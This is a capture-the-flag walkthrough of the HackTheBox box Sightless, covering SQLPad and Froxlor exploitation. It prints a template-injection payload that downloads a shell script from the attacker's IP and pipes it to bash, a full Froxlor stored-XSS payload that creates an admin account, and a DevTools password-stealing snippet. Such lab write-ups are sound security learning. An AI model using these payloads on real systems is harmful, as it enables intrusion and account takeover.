Machine Card listing Sightless as an easy Linux box

Reconnaissance

21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.249.19]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

The domain from the redirect on port 80 sightless.htb goes right into the /etc/hosts file. An open FTP server is unusual and that’s where I start.

FTP

Checking anonymous login first on the FTP server, I get an error 550 SSL/TLS required on the control channel, indicating that SSL is required.

ftp anonymous@sightless.htb
Connected to sightless.htb.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.249.19]
550 SSL/TLS required on the control channel
ftp: Login failed
ftp>

The normal ftp client does not support SSL and I install lftp instead. Unfortunately anonymous login seems to be disabled and I move on.

lftp 
> set ssl:verify-certificate no
> connect sightless.htb
> login anonymous
Password: # anonymous
> ls 
ls: Login failed: 530 Login incorrect.

HTTP

Screenshot of the Sightless page advertising services

Browsing to sightless.htb shows the page for a database and server management solution. The advertised services specify Froxlor, an admin software, and SQLPad, a web application to interact with a SQL server. The latter pointing towards sqlpad.sightless.htb. I’ll add this domain to my /etc/hosts file. Behind the Contact Us button is a mailto link to sales@sightless.htb.

Following the link to SQLPad, I’m greeted with an interactive window to run SQL commands. Going to the upper right corner and clicking About reveals that version 6.10.0 is in use.

Screenshot of the SQLPad window with the About screen showing version 6.10.0

Execution

A quick online research finds CVE-2022-0944 for that particular version. It’s a remote code execution through template injection within the database connection test. A PoC is available, that I quickly adapt to my needs. I’ll change it to retrieve a shell script with a reverse shell from my webserver and pipe that to bash.

{{ process.mainModule.require('child_process').exec('wget 10.10.10.10/shell.sh -O- | bash') }}

I create a new connection, choose MySQL as driver and place the payload into Database. I follow that up with a click on Test and receive a shell as root.

Setup of a new connection while specifying MySQL as driver and the previously shown payload as database name

Privilege Escalation

Shell as michael

I find myself with in a Docker container with just another user configured: michael. I extract his password from /etc/shadow to check if I can crack it. Possibly it’s valid for the host.

hashcat -m 1800 \
        '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/' \
        /usr/share/wordlist/rockyou.txt
--- SNIP ---
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse
--- SNIP ---

hashcat is able to crack the password and I can use the password insaneclownposse to login as michael to collect the first flag.

Shell as root

Besides root there’s another user called john on the system. Based on the ps output he seems fairly active, running some automation script and a headless Chrome. From running ss I can see that there’s something running on port 8080 and upon further inspection that’s Froxlor, so I’ll forward that port to my local machine by adding -L 8000:127.0.0.1:8080 to my SSH command.

ps auxwww | grep -i [j]ohn
john        1216  0.0  0.0   2892   956 ?        Ss   Sep16   0:00 /bin/sh -c sleep 140 && /home/john/automation/healthcheck.sh
john        1217  0.0  0.0   2892  1004 ?        Ss   Sep16   0:00 /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
john        1651  0.0  0.6  33660 24624 ?        S    Sep16   0:24 /usr/bin/python3 /home/john/automation/administration.py
john        1652  0.3  0.3 33630172 15036 ?      Sl   Sep16   2:43 /home/john/automation/chromedriver --port=52883
john        1657  0.0  0.0      0     0 ?        Z    Sep16   0:00 [chromedriver] <defunct>
john        1663  0.6  2.8 34003124 113632 ?     Sl   Sep16   4:30 /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.81okMC data:,
john        1665  0.0  0.0 33575860 3044 ?       Sl   Sep16   0:00 /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp/Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.4 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=125.0.6422.60 --initial-client-fd=6 --shared-client-connection
john        1669  0.0  1.4 34112456 56256 ?      S    Sep16   0:00 /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1665 --enable-crash-reporter
john        1670  0.0  1.4 34112456 56552 ?      S    Sep16   0:00 /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1665 --enable-crash-reporter
john        1685  0.3  3.0 34362352 121680 ?     Sl   Sep16   2:43 /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=1665 --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --shared-files --fie
john        1686  0.1  2.1 33900068 87088 ?      Sl   Sep16   1:00 /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=1665 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,10493382707754093084,977787908137688026,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging --log-level=0 --enable-crash-reporter
john        1714  2.9  4.1 1186798708 163196 ?   Sl   Sep16  21:06 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1665 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1726516759052566 --launc
john        1763  0.0  0.0   7372  3524 ?        S    Sep16   0:00 /bin/bash /home/john/automation/healthcheck.sh
john       19902  0.0  0.0   5772  1092 ?        S    08:03   0:00 sleep 60
 
ss -tln
State                       Recv-Q                      Send-Q                                           Local Address:Port                                              Peer Address:Port                      Process                      
LISTEN                      0                           128                                                    0.0.0.0:22                                                     0.0.0.0:*                                                      
LISTEN                      0                           70                                                   127.0.0.1:33060                                                  0.0.0.0:*                                                      
LISTEN                      0                           511                                                    0.0.0.0:80                                                     0.0.0.0:*                                                      
LISTEN                      0                           4096                                             127.0.0.53%lo:53                                                     0.0.0.0:*                                                      
LISTEN                      0                           4096                                                 127.0.0.1:3000                                                   0.0.0.0:*                                                      
LISTEN                      0                           4096                                                 127.0.0.1:40303                                                  0.0.0.0:*                                                      
LISTEN                      0                           10                                                   127.0.0.1:42219                                                  0.0.0.0:*                                                      
LISTEN                      0                           151                                                  127.0.0.1:3306                                                   0.0.0.0:*                                                      
LISTEN                      0                           511                                                  127.0.0.1:8080                                                   0.0.0.0:*                                                      
LISTEN                      0                           5                                                    127.0.0.1:52883                                                  0.0.0.0:*                                                      
LISTEN                      0                           128                                                       [::]:22                                                        [::]:*                                                      
LISTEN                      0                           128                                                          *:21                                                           *:*

Trying to access the forwarded port via IP shows some kind of error message regarding Domain Configuration. I assume this is due the fact I am not using the proper domain name to access the service.

Error message showing that the domain is not properly configured

Checking the /etc/hosts on the target, there’s admin.sightless.htb. I add this to my own hosts and map it to 127.0.0.1. Changing the URL in the browser to http://admin.sightless.htb:8000 now shows the login page to Froxlor.

Login prompt for froxlor

Searching for recent vulnerabilities for Froxlor finds CVE-2024-34070, a stored and blind cross-site scripting vulnerability in the failed login attempts logging feature. This can lead to complete application take-over when an Administrator views the System Logs page.

The vulnerability description comes with a sample exploit that does create a new admin user with credentials abcd:Abcd@@1234 and alerts Your Froxlor Application has been completely Hacked when the logs are viewed. I’ll remove the alert statement to make the exploit silent and replace the hardcoded domain of http://demo.froxlor.com/admin_admins.php with the relative version /admin_admins.php.

Fail

The password in the advisory has a typo and should be Abcd@@1234 with a capital A as seen in the payload.

admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3bxhr.send(params)}%3ba%3db()`()}}

I do configure the browser to go through BurpSuite and intercept a login request to replace the username with the payload. Then I’ll forward the request and turn off intercept.

BurpSuite showing the modified request

A few minutes pass and then I’m able to login with the newly created account. Besides the Admins there are also Customers available under Resources. There’s just one customercalled web1 and since I am an administrator, I can reset the password.

Editing the customer web1 while providing a new password

Knowing the password allows me to login as web1 and I can find another account for FTP with the same username. I proceed to reset the password there as well.

Editing the ftp account while providing a new password

From the reconnaissance I already know that FTP requires SSL and therefore I use lftp again. Providing the credentials for web1 works and I can list the contents of the folders. There is not much to discover but going doing goaccess > backup, there’s a Keepass database that I do download to my host.

lftp
lftp :~> set ssl:verify-certificate no
lftp :~> connect sightless.htb
lftp sightless.htb:~> login web1
Password: 
lftp web1@sightless.htb:~> ls
drwxr-xr-x   3 web1     web1         4096 May 17 03:17 goaccess
-rw-r--r--   1 web1     web1         8376 Mar 29 10:29 index.html
lftp web1@sightless.htb:/> cd goaccess
lftp web1@sightless.htb:/goaccess> ls
drwxr-xr-x   2 web1     web1         4096 Aug  2 07:14 backup
lftp web1@sightless.htb:/goaccess> cd backup
lftp web1@sightless.htb:/goaccess/backup> ls
-rw-r--r--   1 web1     web1         5292 Aug  6 14:29 Database.kdb
lftp web1@sightless.htb:/goaccess/backup> get Database.kdb 
5292 bytes transferred

Those password safes are usually secured by a password and since I’ve reset the actual passwords for John I can’t test for password reusage. That means I have to resort to cracking the password with john the ripper.
First the actual hash has to be generated with keepass2john and that can be used for cracking the password bulldogs.

keepass2john Database.kdb > keepass_hash
Inlining Database.kdb
 
john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt keepass_hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs         (Database.kdb)     
--- SNIP ---

To open the Database.kdb file, I install KeepassXC with sudo apt install keepassxc. Trying to open the database just returns an error message since .kdb is the version 1. Instead one should use the Import feature.

Error while reading the database because it's an old version 1 format

Going to Database > Import… I can choose Keepass Version 1 and supply the necessary information. That does create a new Keepass database with the imported entries.

Importing a Keepass 1 Database as new database while providing the password

There is really just one entry called ssh that has a SSH key file attached and that I save on the disk.

Showing the id_rsa file attached to the entry titled ssh with username root

Actually trying to use the key produces a rather cryptic error message: error in libcrypto. In this case it’s because the file contains Windows line-endings CRLF (\r\n), while SSH expects just LF and is missing a newline at the end. dos2unix can be used to quickly fix the line endings and echo to add a newline at the end.

ssh -i id_rsa root@sightless.htb
Load key "id_rsa": error in libcrypto
root@sightless.htb's password:
 
dos2unix id_rsa
dos2unix: converting file id_rsa to Unix format...
 
echo "" >> id_rsa

This lets me use the key to login and collect the final flag.

Unintended Path

Froxlor Admin

As michael I’ve already seen that john is using a headless Chrome browser for the automation. The process listing does not reveal the actual debug port, but there are several high ports listening. By requesting /json it’s possible to determine the correct port, that I do forward with SSH to access it locally through my Chrome instance.

curl 127.0.0.1:42219/json
[ {
   "description": "",
   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:42219/devtools/page/1D18816B8AA7EBF45B972EFBF76A1190",
   "id": "1D18816B8AA7EBF45B972EFBF76A1190",
   "title": "Froxlor",
   "type": "page",
   "url": "http://admin.sightless.htb:8080/",
   "webSocketDebuggerUrl": "ws://127.0.0.1:42219/devtools/page/1D18816B8AA7EBF45B972EFBF76A1190"
} ]

Chrome configuration window to search for debugging targets

Configuring localhost:42219 as new target in chrome://inspect/#devices shows two sessions that I can inspect and watch john in real-time.
He’s putting in the login information for Froxlor and navigating to the System log (in order to trigger the XSS for the intended way). With a tiny bit of Javascript, I’ll add an event listener to the password prompt and steal the password for the admin user.

document.getElementById('password').onchange = function() { console.log(document.getElementById('password').value)};

Before pasting the Javascript into the console, I make sure that the logs are preserved and the browser session is set to the login prompt - otherwise it’s not possible to add the event listener. Right after the bot presses Login the actual password ForlorfroxAdmin is logged to the console.

Chrome inspect window showing the Preserve Log switched on and the extracted admin password

With this password I can go back to the intended part or proceed to abuse the application via PHP-FHM instead.

PHP-FHM to root

Access to the admin interface of Froxlor lets me modify the PHP-FPM versions and set a new restart command. I can replace the whole command and set it to a shell script I’ve created on the host. It does take some time to run but eventually the process is restarted and runs my script.

Froxlor page to configure the PHP-FPM version. The restart command is set to /tmp/ryuki.sh

Attack Path

flowchart TD

subgraph "Execution"
    A(SQLPad) -->|CVE-2022-0944| B(Shell as root in container)
end

subgraph "Privilege Escalation"
    B -->|Crack Hash in /etc/shadow| C(Shell as michael)
    C -->|CVE-2024-34070| D(Account on Froxlor)
    C -->|"Unintended\nChrome Debugging Port"| D
    D -->|Reset Passwords| E(Access as john in FTP)
    E -->|Crack Keepass for SSH Key| F(Shell as root)
    D -->|"Unintended\nPHP-FPM"| F
end